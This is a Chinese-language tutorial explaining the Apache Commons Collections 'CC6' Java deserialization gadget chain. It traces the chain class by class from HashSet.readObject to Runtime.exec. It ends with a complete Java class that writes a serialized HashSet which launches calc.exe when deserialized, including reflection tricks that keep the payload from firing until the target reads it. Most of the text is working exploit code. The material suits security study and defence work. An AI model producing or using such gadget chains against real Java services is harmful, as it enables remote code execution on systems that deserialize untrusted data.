利用链如下：
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
1、InvokerTransformer.transform()因为Runtime类不实现Serializable接口，所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。
Class cr = Class.forName("java.lang.Runtime");
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
2、ChainedTransformer.transform()
使用ChainedTransformer构造方法，给iTransformers赋值，在transform中执行iTransformers所有元组的transform，transform传入的参数为前一个元组的对象。所以这个方法可以对步骤1中链执行。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
创建一个Transformer[]，包含步骤1中所有对象。
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
由于步骤1中cr对象是Class对象，不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以最终得到的transformers是
public static void main(String[] args) throws Exception {
// Class cr = Class.forName("java.lang.Runtime");
;
Transformer[] transformers = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
new ChainedTransformer(transformers).transform(1);
//calc.exe
}
3、LazyMap.get()
LazyMap类的get方法实现了，对factory的transform。factory的decorate方法实现了对factory的赋值，Transformer类型
所以向decorate传入new ChainedTransformer(transformers)，最终调用get来实现new ChainedTransformer(transformers)的transform。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
当然调用get方法的时候，如果key是不存在的才会执行factory.transform(key)，所以最终的调用
Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe
4、TiedMapEntry
根据利用链，下一步通过TiedMapEntry构造方法传入map和key，通过getValue实现对map参数的get操作，所以将lazyMap和一个不存在的key作为参数传入。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();
再看TiedMapEntry的hashCode方法，实现了getValue()的调用。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();
5、HashMap
hashmap的hash实现了对参数key的hashcode方法，put方法实现了hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
利用链
Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe
6、HashSet
根据利用链看HashSet类的readobject()，由于map = new HashMap<>()，最终实现了在readobject中调用了hashmap.put方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
利用链
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。
public Object getValue() {
return map.get(key);
}
lazyMap.get(2)该执行过程中，如果lazyMap不存在key，会对lazyMap储值。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以在做序列化的时候实际lazyMap中已经存在了key=2，反序列化的时候map.containsKey(key) == false不成立，在反序列化过程中无法成功执行Object value = factory.transform(key);
在序列化之前需要将该key移除
lazyMap.remove(2);
优化：
由于hashSet.add(tiedMapEntry);中，执行了map.put(tiedMapEntry)，最终会在本地执行exec。
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
在一开始可以对transformers赋空值，在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改，将实际执行的exec执行链传入。
Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
最终的利用链
public class CC6Test1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
lazyMap.remove(2);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
}
}
